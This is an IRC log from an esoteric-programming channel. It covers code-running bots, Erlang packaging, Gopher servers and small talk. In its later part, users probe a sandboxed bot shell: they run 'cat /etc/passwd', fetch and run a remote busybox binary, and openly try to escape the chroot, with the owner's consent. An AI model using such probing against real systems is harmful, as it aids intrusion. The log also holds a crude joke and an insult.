14:52:34 <ais523> !cintercal DO READ OUT #1234 PLEASE GIVE UP
14:52:51 <ais523> stupid blank lines before numeric output
14:52:58 <ais523> !clcintercal DO READ OUT #1234 PLEASE GIVE UP
14:52:58 <nooga> !bf_textgen ehird is an idiot
14:53:27 <nooga> !bf_txtgen ehird is an idiot
14:53:29 <EgoBot> 145 ++++++++++++++[>+++++++>++++++++>++>+++++++<<<<-]>+++.+++.+.>++.>>++.<++++.<<.>+.>.>---.<<-----.>.<<.>>>+++.<<<.>+.+++++.>----------------------. [167]
14:53:45 <nooga> !sadbf ++++++++++++++[>+++++++>++++++++>++>+++++++<<<<-]>+++.+++.+.>++.>>++.<++++.<<.>+.>.>---.<<-----.>.<<.>>>+++.<<<.>+.+++++.>----------------------.
14:54:29 <nooga> !redneck you've said that greg
14:55:08 -!- BeholdMyGlory has quit (Remote closed the connection).
14:55:22 <GregorR> It's like XOR, but instead of being eXclusive, it's Greg.
14:55:52 <zid> I should implement somethng in brainfuck using xor linked lists
14:56:04 <zid> just for the fact of having to implement both linked lists and xor
14:56:16 <nooga> zid: wo'd write a compiler first
14:57:01 <nooga> GregorR: AFAIR you've developed something ... eeeee .... c2bf ?
14:57:19 <GregorR> Look at ais523's gcc-bf instead.
14:57:42 <ais523> it's unfinished, although finished to the point that you can consider it a very buggy finished product as opposed to an unfinished one
14:57:45 <oerjan> > foldl1' xor<$>replicateM 5[minBound,maxBound]
14:58:07 <lambdabot> forall a. (a -> a -> a) -> [a] -> a
14:59:09 <oerjan> > foldl1'(/=)<$>replicateM 5[False ..]
14:59:11 <lambdabot> [False,True,True,False,True,False,False,True,True,False,False,True,False,Tr...
14:59:56 <oerjan> > foldl1' xor<$>replicateM 5"01"
14:59:57 <lambdabot> No instance for (Data.Bits.Bits GHC.Types.Char)
15:00:27 <nooga> ais523: sadol is stupidly simple
15:00:29 <zid> nooga: If I wrote a brainfuck compiler i'd probably end up adding IO ports to it
15:00:40 <nooga> forward polish notation, that's it
15:00:52 <ais523> nooga: I guessed it was some sort of Polish, although I prefer reverse
15:00:55 -!- BeholdMyGlory has joined.
15:00:56 <nooga> zid: no no no, compiler targetting brainfuck
15:00:56 <zid> or rip out the core of my gameboy emulator and plug in brainfuck instead ;D
15:01:01 <zid> nooga: bwahah
15:01:04 <ais523> just because I'm an incurable Underload-and-derivatvies fan
15:01:07 <zid> nooga: nicer idea
15:02:20 <nooga> CP stands for concatenative programming, just like child porn
15:03:31 <GregorR> "child porn" also stands for "concatenative programming"???
15:04:59 <nooga> it seems that it does
15:05:06 <ais523> I prefer just writing out the name in full
15:05:28 <ais523> and although I like concatenative programming in general, there's something about Underload in particular that just clicks with me
15:05:44 <nooga> http://www.h3rald.com/articles/concatenative-programming-in-ruby
15:05:52 <oerjan> > foldl1' xor<$>replicateM 5[0,1]
15:06:19 <oerjan> > foldl1' xor<$>replicateM 5[0,1::Int]
15:06:21 <lambdabot> [0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1]
15:06:34 <nooga> oerjan: your PhD theisis is about short haskell hacks?
15:06:36 <ais523> why does lambdabot need type signatures?
15:06:49 <oerjan> ais523: ambiguous overloading
15:07:24 <oerjan> and no extend default flags set, probably
15:08:32 <oerjan> nooga: strangely not, i didn't know haskell at the time. i think i may have used a little perl while experimenting.
15:08:58 <nooga> where we can read your PhD thesis?
15:15:18 <nooga> you probably even remember the walrus scam
15:22:34 <oerjan> it's a shame many of these haskell hacks require a handful of import lines outside lambdabot
15:27:16 <oerjan> > filterM[const False,const True]"abcdef" -- another oldie
15:27:18 <lambdabot> Couldn't match expected type `a -> m GHC.Bool.Bool'
15:27:23 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
15:27:27 <lambdabot> forall a (m :: * -> *). (Monad m) => (a -> m Bool) -> [a] -> m [a]
15:28:08 <oerjan> > filterM[const[False],const[True]]"abcdef"
15:28:10 <lambdabot> Couldn't match expected type `a -> m GHC.Bool.Bool'
15:29:25 -!- Judofyr has quit (Remote closed the connection).
15:38:27 <oerjan> > filterM(const[False ..])"abcdef"
15:38:28 <lambdabot> ["","f","e","ef","d","df","de","def","c","cf","ce","cef","cd","cdf","cde","...
15:38:41 <oerjan> > filterM(const[False ..])"abcd"
15:38:43 <lambdabot> ["","d","c","cd","b","bd","bc","bcd","a","ad","ac","acd","ab","abd","abc","...
15:39:06 * oerjan thinks lambdabot is cutting rather short these days
15:40:32 -!- nooga has quit (Read error: 110 (Connection timed out)).
15:42:19 -!- oerjan has quit ("Good night").
15:43:20 <Slereah> !swedish ["","d","c","cd","b","bd","bc","bcd","a","ad","ac","acd","ab","abd","abc","...
15:43:21 <EgoBot> ["","d","c","cd","b","bd","bc","bcd","a","ed","ec","ecd","eb","ebd","ebc","... Bork Bork Bork!
15:51:16 -!- nooga has joined.
16:05:42 -!- GregorR-L has joined.
16:07:38 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
16:07:46 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
16:08:04 <AnMaster> GregorR, if I made a patch to add erlang as a language to it, would you consider it?
16:08:20 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
16:08:43 <AnMaster> GregorR, what erlang version do you have installed/available for installation on there?
16:08:54 <GregorR-L> None, I'll install one once I have a reason to :P
16:08:59 <GregorR-L> Whatever version is in Debian Testing.
16:09:10 <AnMaster> GregorR, where do I find out what debian testing has?
16:10:48 <AnMaster> uuuh it is split in several packages?
16:11:29 <GregorR-L> That's a very Debian thing to do :P
16:11:43 <nooga> i should prepare my personal webpage
16:12:23 <GregorR-L> nooga: http://codu.org/colormatch/ // USE THIS DO IT DO IT YOU KNOW YOU WANT TO
16:12:24 <ais523> AnMaster: most likely info common to all versions, plus common version
16:12:29 <AnMaster> GregorR, I'm not against it in general. For example gentoo splits the huge kdebase, kdeextra and such in individual packages for each program, like kwrite, konqueror, ...
16:12:58 <AnMaster> but really erlang isn't large enough to motivate splitting it into 22 packages
16:13:05 <AnMaster> if I read http://packages.debian.org/squeeze/erlang-nox correctly
16:13:11 <AnMaster> oh and I guess the x11 one is even larger
16:13:16 <zid> someone siad gentoo
16:13:24 <AnMaster> the tk bindings and the wx bindings
16:13:41 <GregorR-L> zid: You have "gentoo" highlighted? :P
16:13:56 <AnMaster> ais523, all of those are parts that do change with erlang version
16:13:58 <ais523> AnMaster: Debian allow you to save disk space insanely if you want to
16:14:10 <ais523> they changed all the copies of the GPL into symlinks to a common location to save space, for instance
16:14:20 <AnMaster> ais523, erlang uses EPL though
16:14:44 <nooga> GregorR-L: i know how to pick matching colors
16:14:45 <AnMaster> (iirc the original tarball comes with one copy, that tarball includes all those packages....)
16:14:45 <ais523> $ apt-cache search nethack | grep ^nethack | wc -l
16:14:59 <ais523> see what I mean? You wouldn't have thought they could have split NetHack into 7 packages...
16:15:20 <AnMaster> ais523, um... I can think of a few splits nox/gtk/qt/x11?
16:15:22 <ais523> the other 6 are 6 different interfaces
16:15:40 <GregorR-L> nooga: Well A) I don't so stop showing off :P, B) This picks a /variety/ of matching colors! :P
16:15:43 <ais523> 5 different interfaces, plus the Emacs mode for playing nethack-lisp
16:15:51 <zid> portage has 2, nethack and noegnud-nethack
16:16:03 <ais523> AnMaster: the GTK one has been retired because it used Athena widgets
16:16:05 <nooga> GregorR-L: i know how to pick my nose
16:16:13 <ais523> and the Qt one has been broken for ages
16:16:19 <AnMaster> ais523, athena... gtk... How are they related?
16:16:25 <AnMaster> aren't they different toolkits?
16:16:28 <ais523> why do you think it was retired?
16:16:39 <AnMaster> ais523, they could have *renamed* it instead?
16:17:04 <ais523> but there's already an X version
16:17:14 <ais523> just, GTK with Athena widgets
16:18:16 <AnMaster> but why split out erlang-mnesia from erlang-base for example... There are no extra deps for mnesia. And mnesia itself isn't that large...
16:18:17 <AnMaster> $ du -sh /usr/lib/erlang/lib/mnesia-4.4.10/
16:18:18 <AnMaster> 1,8M /usr/lib/erlang/lib/mnesia-4.4.10/
16:18:24 <AnMaster> $ du -sh /usr/lib/erlang/lib/kernel-2.13.2/
16:18:24 <AnMaster> 2,4M /usr/lib/erlang/lib/kernel-2.13.2/
16:18:37 <ais523> AnMaster: so people can choose not to install it
16:18:40 <AnMaster> oh and that includes the installed source...
16:18:59 <AnMaster> ais523, not installing mnesia is pretty much guaranteed to break quite a few things...
16:19:17 <ais523> yes, but not everything
16:19:27 <ais523> things might want to use the other bits of Erlang, but not mnesia
16:19:33 <ais523> Debian deps only install the bits you actually depend on
16:20:04 <GregorR-L> There's probably an "erlang" pseudopackage that pulls in all of them.
16:20:06 <AnMaster> anyway, you save less than 1.8 MB.. (less because I have the source installed too, which would be reasonable to have in a separate package)
16:20:25 <zid> of course under portage, the source IS the package
16:20:45 <GregorR-L> zid: Gentoo is just LFS for pussies.
16:20:53 <zid> exactly why it's so good
16:21:01 <pikhq> zid: No. The source is not the package.
16:21:09 <pikhq> Source+ebuild is the package.
16:21:17 <ais523> the package contains source + build instructions
16:21:20 <pikhq> (or the binary package you can have emerge make)
16:21:24 <zid> ebuild is a good couple of hundered characters :>
16:21:24 <AnMaster> zid, the reason you don't end up with tons of split variations like x11/nox in portage is the useflags
16:21:40 <zid> AnMaster: useflags <3
16:22:05 <AnMaster> okay... they split out the docs as a separate meta-package
16:22:29 <AnMaster> also the deps doesn't make sense
16:22:45 <AnMaster> they skip typer in the nox11, yet that is a completely command line app
16:23:45 <zid> what's typer?
16:24:06 <AnMaster> tries (quite successfully) to infer erlang type specifications from the source code
16:24:29 <GregorR-L> And is linked against libXaw for no reason whatsoever :P
16:24:30 <zid> Hmm, not in portage, at least under 'typer'
16:24:56 <AnMaster> okay... the debian typer package depends on dialyzer (correct, it is a part of dialyzer in fact...), and the dialyzer package depends on the Tk bindings... Fun thing is that dialyzer doesn't actually need those Tk bindings... it can use them optionally
16:25:02 <AnMaster> zid, it is part of the erlang package
16:25:25 <AnMaster> and IMO the gentoo way is much saner here.
16:25:51 <zid> erlang package is 52.7MB, nice :P
16:26:22 <AnMaster> GregorR-L, /usr/lib64/erlang/bin/typer is linked against libdl, libm and libc here
16:26:36 <AnMaster> zid, that is the source code download yes
16:26:52 <AnMaster> zid, depending on useflags (especially the doc one) it can be a lot smaller installed
16:27:14 * pikhq has doc enabled globally.
16:27:18 <zid> doc isn't set by default
16:27:25 * pikhq <3 documentation. ;)
16:27:39 <zid> ssl -doc -emacs -hipe -java -kpoll -obdc -sctp -smp -tk
16:27:44 <AnMaster> I have the full thing installed except the java bindings and the odbc stuff (USE="doc emacs hipe kpoll sctp smp ssl tk wxwindows -java -odbc" for erlang)
16:28:07 <zid> I don't have a wxwindows flag
16:28:29 <AnMaster> (docs and sources installed, I develop a lot in erlang, that is why)
16:28:43 <zid> what version has a wxwindows flag?
16:28:47 <zid> none of mine do
16:29:05 <zid> 12.2.5-r1 is latest in portage
16:29:11 <ais523> how many esolangs does gentoo have in portage, btw?
16:29:16 <AnMaster> 13.2.1 is the latest in portage
16:29:19 <AnMaster> and that is from the main tree
16:29:26 <zid> Oh, you're right
16:29:31 <pikhq> I know there's CIntercal...
16:29:32 <zid> the list was upside down
16:29:37 <zid> it goes 12.2, 13.2, ..
16:29:44 <ais523> pikhq: officially? I thought that was just AnMaster porting it as a side project
16:29:57 <AnMaster> ais523, some dev accepted it... was as surprised as you are
16:30:19 <AnMaster> I filed a bug with the ebuild in as half-joke/half-serious
16:30:24 <pikhq> ais523: It's in portage.
16:30:40 <AnMaster> YET THE EBUILD FOR THAT pygopherd WASN'T ACCEPTED
16:30:42 <pikhq> I don't think there's any other esolangs in there.
16:31:25 <ais523> was pygopherd a joke too?
16:31:29 <pikhq> Gentoo mostly accepts things which work correctly and have an active ebuild maintainer...
16:31:39 <AnMaster> ah I know why the erlang dir is so large
16:31:42 <ais523> I think gopher's mostly only used by zz038 nowadays
16:31:43 <AnMaster> it isn't actually erlang itself
16:32:21 <pikhq> ais523: There's a small amount of people using it.
16:32:46 <pikhq> IIRC, Gopher support in Firefox was removed from 3.0, upsetting the few Gopher users out there.
16:32:57 <pikhq> zzo38 is one of them, yes.
16:33:04 <AnMaster> ais523, pygopherd wasn't a joke... I didn't think it would be accepted... but I was serious still..
16:33:08 <zid> I bet all three of them were upset
16:33:22 <ais523> I'm upset it isn't there, even if I hardly ever use it
16:33:29 <ais523> I want to be able to see zzo38's pages, at least
16:33:40 <AnMaster> ais523, use that http->gopher proxy
16:33:42 <zid> I've never used gopher once, i'm likkle
16:33:59 <AnMaster> link: http://gopher.floodgap.com/gopher/
16:34:10 <pikhq> When I first used the Internet, Gopher and HTTP still kinda coexisted.
16:34:22 <pikhq> (Gopher wasn't to survive much longer, mind.)
16:34:49 <AnMaster> pikhq, pretty sure gopher is still in ff3, but not in ff3.5
16:35:12 -!- Pthing has quit (Remote closed the connection).
16:35:34 <zid> AOL was already around when I first started using the interwebs
16:37:21 <Deewiant> FF 3.5 seems to handle Gopher fine, and I recall 3.0 did as well.
16:37:37 <zid> gimmie a gopher uri
16:37:40 <zid> I wanna see
16:37:55 <zid> my terminal doesn't even let me click that :p
16:38:03 <pikhq> zid: AOL is ancient.
16:38:11 <zid> seems to work in 3.5
16:38:46 <AnMaster> for erlang in egobot I think somehow using escript for a wrapper would be best... erl is more advanced of course, but a bit cumbersome to use for short-running programs.
16:38:51 <pikhq> AOL goes back to 1989.
16:39:10 <zid> that doesn't sound right
16:39:32 <pikhq> Perhaps you're thinking of AOL for DOS, which is from '91?
16:39:47 <pikhq> Which is to say, *still older than WWW*?
16:39:57 * zid browses xkcd in gopher
16:40:19 <zid> pikhq: I was refering more to it ruining the old internets by introducing the web to morons
16:40:49 <AnMaster> ais523, I love how debian messed up erlang... libsctp is an optional dependency that makes sense to have optional. Yet on debian it isn't optional
16:41:08 <pikhq> zid: Ah, the Eternal September and the like.
16:41:10 <ais523> that gopher link works fine in 3.0.11
16:41:11 <zid> AnMaster: it was linked from the frontpage of that gopher uri someone gave me
16:41:41 <zid> pikhq: exactly!
16:42:13 <pikhq> AOL was slow on that.
16:42:24 <ais523> weird, floodgap posted the tail of their server log as one of the pages
16:42:47 <ais523> gopher CGI is silly enough, and posting your own server logs?
16:43:18 <AnMaster> ais523, gopher cgi is common iirc
16:43:29 <AnMaster> as in, pretty sure pygopherd supports it too
16:43:32 <ais523> works the same way as http
16:43:55 <zid> best page on the intertubes is http://zid.yggdrasil.sk/cgi-bin/maze
16:44:42 <ais523> does that use NetHack's Gehennom code?
16:44:47 <zid> no, I wrote it
16:44:51 <zid> to look like gehennom
16:45:02 <zid> I couldn't understand nethack's source it was.. awful
16:45:04 -!- zzo38 has joined.
16:46:20 <zzo38> My gopher site runs using GOPHSERV (a gopher server I wrote myself). Most stuff is standard, but to play the hangman game on my gopher site the only client that works is Vonkeror (or you can write your own, it isn't that hard).
16:47:12 <AnMaster> I can't find any file listing on http://packages.debian.org/squeeze/erlang-base
16:47:14 <zid> is there some command I can use to get you to appear in whatever channel I want?
16:47:49 <pikhq> zid: Nethack is old and crufty.
16:47:56 <zzo38> Grumpy is a HTTP+Gopher server, GOPHSERV is Gopher only.
16:47:58 <zid> it's pre ansi :(
16:47:59 <pikhq> zid: Its build system predates Autotools.
16:48:29 <AnMaster> GregorR-L or GregorR: The !c one automatically adds some header/footer right? How does that work when you give it an url?
16:48:40 <AnMaster> I think erlang will need something similar
16:48:46 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
16:48:50 <GregorR-L> AnMaster: It still automatically adds the header and footer. If that doesn't compile, it tries using it as a full file.
16:48:59 <pikhq> AnMaster: It adds a footer, tries to compile it. If it errors out, it just compiles the full thing.
16:49:00 <zid> hrmph, it's hot so I have a fan on, and my ashtray keeps setting on fire now
16:49:03 <GregorR-L> AnMaster: See interps/gcccomp/gcccomp (something like that)
16:49:24 <pikhq> zid: Where are you at?
16:49:37 <pikhq> And how hot is it?
16:49:48 <pikhq> (I need to know if I can just say "man up". :P)
16:50:06 <zid> the comparison never works
16:50:12 <zid> these are houses built to keep warmth
16:50:27 <zid> not that hot with the fan on
16:50:29 <zid> last night was worse
16:50:33 <zid> 22C at 100% humidity
16:50:56 <pikhq> The US has a lot of houses built to handle extreme cold and extreme heat.
16:51:02 <AnMaster> GregorR, Can you run it specially? As in, ./compiled-file won't work, nor will erl compiled-file, rather something like erl -run compiled_file_without_extension somefunction_in_said_file
16:51:09 <pikhq> Some parts of the country range from -10°F to 100°F... ;)
16:51:11 <AnMaster> assuming the compiled file is in the current directory
16:51:22 <AnMaster> if it isn't you need -pa path/where/it/is
16:51:24 <zid> what's that in real temperatures
16:51:28 <pikhq> But gawsh, 22°C? I envy you.
16:51:40 <zid> don't forget the 100% humidity
16:51:43 <zid> there was fog in my room
16:51:52 <AnMaster> actually, making an escript-wrapper is probably saner
16:51:58 <pikhq> It's at 30°C right now, and that's lower than usual.
16:52:00 <zzo38> Which gopher server software do you think is better?
16:52:14 <pikhq> And Missouri has humidity from 70 to 100% generally.
16:52:25 <zid> do you have AC?
16:52:36 <AnMaster> zzo38, I used pygopherd, quite decent. I heard Bucktooth was good too.
16:52:43 <GregorR-L> AnMaster: Again I say, see interps/gcccomp/gcccomp
16:52:44 <ais523> hi zzo38; strangely, we were discussing Gopher servers before you arrived
16:52:54 <zid> I think he was summoned
16:53:00 <zzo38> I know that. I read the logs.
16:53:01 <pikhq> zid: I'd have to be mad not to. 40°C is not all that uncommon.
16:53:09 <zid> pikhq: then you can't compare it :P
16:53:36 <zzo38> Have you heard of Grumpy or GOPHSERV, those are two less common gopher servers
16:53:40 <pikhq> Sure I can. Last summer I went without AC.
16:53:51 <pikhq> (I was in Boston, not Missouri, but it has a similar climate)
16:53:53 <zid> in what kind of house, and what kind of temps are you used to
16:54:06 <zid> you can come here for the winter and have no heating if you lke
16:54:19 <pikhq> House designed for hard winters.
16:54:31 <zid> what strange weather you have
16:55:02 <pikhq> And I'm used to 0% humidity, 90°F being the *peak* temperature, averages from 70°F to 80°F in the summer.
16:55:05 <AnMaster> GregorR, question about ulimit -u used there... What is the normal limit and how does this interact with threads?
16:55:23 <pikhq> (Colorado. Ah, 0% humidity, how I miss you so.)
16:55:28 <EgoBot> core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) 10240 pending signals (-i) 16382 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority
16:55:43 <GregorR-L> <EgoBot> size (kbytes, -s) 8192 cpu time (seconds, -t) 30 max user processes (-u) 1024 virtual memory (kbytes, -v) 131072 file locks (-x) unlimited
16:55:50 <EgoBot> max user processes (-u) 1024
16:56:04 <zid> !sh cat /etc/passwd
16:56:04 <EgoBot> /bin/cat: /etc/passwd: No such file or directory
16:56:11 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
16:56:15 <AnMaster> zid, it's in some jail sort of thingy iirc
16:56:29 <zid> !sh echo meow > test.txt
16:56:30 <EgoBot> /tmp/input.18404: line 1: test.txt: Permission denied
16:56:54 <GregorR-L> zid: If you want to write files, try HackEgo.
16:57:01 <zzo38> GOPHSERV comes with three programs: gophserv, imgindex, txtbindb. gophserv reads a gopher request from stdin and sends the result to stdout. imgindex creates index files of directories, using a data file you specify which gives it instructions for how to do so. txtbindb converts text databases into binary databases.
16:57:03 <GregorR-L> `run echo I am the most hackable bot evars
16:57:04 <HackEgo> I am the most hackable bot evars
16:57:12 <zid> `run cat /etc/passwd
16:57:40 <GregorR-L> It's still jailed, it just allows you to write (some) files.
16:57:52 <HackEgo> max user processes (-u) 128
16:58:14 <HackEgo> max user processes (-u) 128
16:58:15 <zid> `run uname -a
16:58:15 <HackEgo> Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux
16:58:22 <Deewiant> `run ulimit -u unlimited; ulimit -a | grep -e -u
16:58:23 <HackEgo> max user processes (-u) 128
16:58:31 <AnMaster> GregorR-L, started erlang to check... 6 threads started on a single-core system. One additional per CPU by default after that iirc.
16:59:28 <zid> can I run gcc on it and things?
16:59:34 <zzo38> `run echo '!sh pwd'
16:59:34 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
16:59:37 <AnMaster> GregorR, right, if debian provides a build with no smp support at all (as opposed to "supported, but not enabled right now"), you get 2 threads by default it seems.
17:00:04 <pikhq> zid: Sure you can.
17:00:13 <pikhq> !c printf("See?\n");
17:00:29 <ais523> why isn't /etc/passwd visible?
17:00:37 <HackEgo> gcc (Debian 4.3.3-10) 4.3.3 \ Copyright (C) 2008 Free Software Foundation, Inc. \ This is free software; see the source for copying conditions. There is NO \ warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. \
17:00:40 <AnMaster> ais523, <AnMaster> zid, it's in some jail sort of thingy iirc
17:00:40 <GregorR-L> AnMaster: Doesn't matter, you have plenty of processes.
17:00:51 <AnMaster> GregorR-L, yes, quite a few inside erlang :P
17:01:03 <ais523> I mean, why deny that exact file? /etc/passwd is designed to be world-readable
17:01:04 <AnMaster> (virtual ones, erlang does it's own scheduling...)
17:01:05 -!- ineiros_ has joined.
17:01:17 <HackEgo> cat (GNU coreutils) 7.4 \ Copyright (C) 2009 Free Software Foundation, Inc. \ License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. \ This is free software: you are free to change and redistribute it. \ There is NO WARRANTY, to the extent permitted by law. \ \ Written by Torbjorn Granlund and Richard M. Stallman.
17:01:21 <GregorR-L> AnMaster: So I don't anticipate issues.
17:01:33 <GregorR-L> ais523: You think it's /cat/ that's limited??? lawl
17:01:45 <ais523> I just wanted to see its silly version string
17:01:53 <ais523> limiting cat would not solve the problem at all
17:02:29 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
17:02:43 <HackEgo> LD_LIBRARY_PATH=/usr/lib/plash/lib
17:03:12 <HackEgo> BASH=/bin/bash \ BASH_ARGC=() \ BASH_ARGV=() \ BASH_LINENO=() \ BASH_SOURCE=() \ BASH_VERSINFO=([0]="3" [1]="2" [2]="48" [3]="1" [4]="release" [5]="x86_64-pc-linux-gnu") \ BASH_VERSION='3.2.48(1)-release' \ DIRSTACK=() \ EUID=1126489
17:03:25 <HackEgo> /lib/libc-2.9.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped \ /lib/libc.so.6: symbolic link to `libc-2.9.so' \ /lib/libcfont.so.0: symbolic link to `libcfont.so.0.0.0' \ /lib/libcfont.so.0.0.0: ELF 64-bit LSB shared object,
17:03:27 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
17:03:54 <GregorR-L> AnMaster: Because ehird is a bitch. Also, since you can write files, I added a paste command.
17:04:15 <HackEgo> GNU C Library (EGLIBC) stable release version 2.9, by Roland McGrath et al. \ Copyright (C) 2008 Free Software Foundation, Inc. \ This is free software; see the source for copying conditions. \ There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A \ PARTICULAR PURPOSE. \ Compiled by GNU CC version 4.3.3. \ Compiled
17:04:27 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.22262
17:04:44 <AnMaster> GregorR, you want to force me to start a browser? :(
17:04:55 <GregorR-L> AnMaster: Surely you have a browser in your emacs :P
17:05:03 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.29473
17:05:17 <AnMaster> GregorR, what is the time limit
17:06:14 <AnMaster> GregorR, where does fetched files end up?
17:06:27 <AnMaster> `fetch http://omploader.org/vMXdjbQ
17:06:29 <HackEgo> 2009-06-29 16:06:29 URL:http://omploader.org/vMXdjbQ [1952144/1952144] -> "vMXdjbQ" [1]
17:06:48 <GregorR-L> You might want to put that in bin.
17:07:10 <AnMaster> ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, stripped
17:07:29 <GregorR-L> AnMaster: Your mv command didn't work. Needed to be in run.
17:07:41 <GregorR-L> That command was mv '"vMXdjbQ" busybox'
17:07:53 <HackEgo> busybox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
17:07:59 <GregorR-L> When you don't use run, everything else is /one/ argument.
17:08:00 <HackEgo> busybox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
17:08:07 <HackEgo> -rwxr-xr-x 1 5000 5000 1952144 Jun 29 16:08 busybox
17:08:34 <GregorR-L> I have no idea why that isn't working *shrugs*
17:08:56 <GregorR-L> I believe it can't output because it's not doing it through the proper channels.
17:09:10 <pikhq> GregorR-L: What, stdio?
17:09:13 <GregorR-L> Things not linked against glibc don't work because they're in a completely empty environment with no files.
17:09:30 <GregorR-L> (By which I mean, no files and no file descriptors)
17:09:32 <pikhq> ... You're doing crazy prelink stuff.
17:09:34 <AnMaster> `run /lib/libc-2.9.so /usr/bin/env -i ./busybox
17:09:35 <HackEgo> GNU C Library (EGLIBC) stable release version 2.9, by Roland McGrath et al. \ Copyright (C) 2008 Free Software Foundation, Inc. \ This is free software; see the source for copying conditions. \ There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A \ PARTICULAR PURPOSE. \ Compiled by GNU CC version 4.3.3. \ Compiled
17:10:03 <GregorR-L> AnMaster: I believe you're looking for /lib/ld-linux.so
17:10:15 <HackEgo> /lib/ld-linux.so: ERROR: cannot open `/lib/ld-linux.so' (No such file or directory)
17:10:22 <HackEgo> /lib/ld-2.9.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped \ /lib/ld-linux-x86-64.so.2: symbolic link to `ld-2.9.so'
17:10:36 <AnMaster> `run /lib/ld-2.9.so /usr/bin/env -i ./busybox
17:10:57 <AnMaster> `run /lib/ld-2.9.so /usr/bin/env
17:11:10 <HackEgo> PLASH_FAKE_GID=5000 \ SHELL=/bin/bash \ TERM=screen \ IRC_SOCK=/tmp/multibot.HackEgo \ IRC_NICK=AnMaster \ PLASH_CAPS=conn_maker;fs_op \ PLASH_FAKE_EUID=5000 \ USER=hackbot \ http_proxy=http://127.0.0.1:3128 \ LD_LIBRARY_PATH=/usr/lib/plash/lib
17:11:28 <AnMaster> `run /usr/bin/env -i /usr/bin/env
17:11:59 <AnMaster> GregorR, does it only use the ld stuff or also some ptrace stuff?
17:12:15 <GregorR-L> It only uses a hacked glibc. No ptrace.
17:12:25 <AnMaster> GregorR, so the libc in /lib is the hacked one?
17:12:52 <AnMaster> then we are down to doing something with syscalls directly I guess
17:12:53 <GregorR-L> It's not actually in /lib of course :P
17:13:10 <AnMaster> does hackego has any asm thingy?
17:13:11 <GregorR-L> Right, the problem with that is that it's actually running in a nearly-empty chroot with no open file descriptors :P
17:13:18 <GregorR-L> AnMaster: Well, it has gcc *shrugs*
17:13:39 <AnMaster> GregorR, I just hope to break into the chroot without phash basically
17:13:48 <HackEgo> Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux
17:13:57 <GregorR-L> Feel free to try, just please don't actually break anything if you succeed :P
17:14:40 <AnMaster> GregorR, I saw that it disallowed the static binary there... but will it disallow syscalls where the instruction sequence for them are embedded directly into the binary in question
17:14:46 <AnMaster> rather than going through libc
17:15:20 <AnMaster> well it could use ptrace I guess
17:16:08 <pikhq> I think the tricky bit is the lack of file descriptors more than anything else.
17:16:32 <AnMaster> pikhq, it clearly disallowed the static busybox from running
17:16:43 <AnMaster> as well as anything when environment was empty
17:24:15 -!- zzo38 has left (?).
17:25:03 <HackEgo> Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux
17:25:14 <HackEgo> processor: 0 \ vendor_id : AuthenticAMD \ cpu family: 16 \ model: 2 \ model name: Quad-Core AMD Opteron(tm) Processor 2347 HE \ stepping: 3 \ cpu MHz: 1909.786 \ cache size : 512 KB \ physical id: 0 \ siblings: 1 \ core id: 0 \ cpu cores : 1 \ apicid: 0
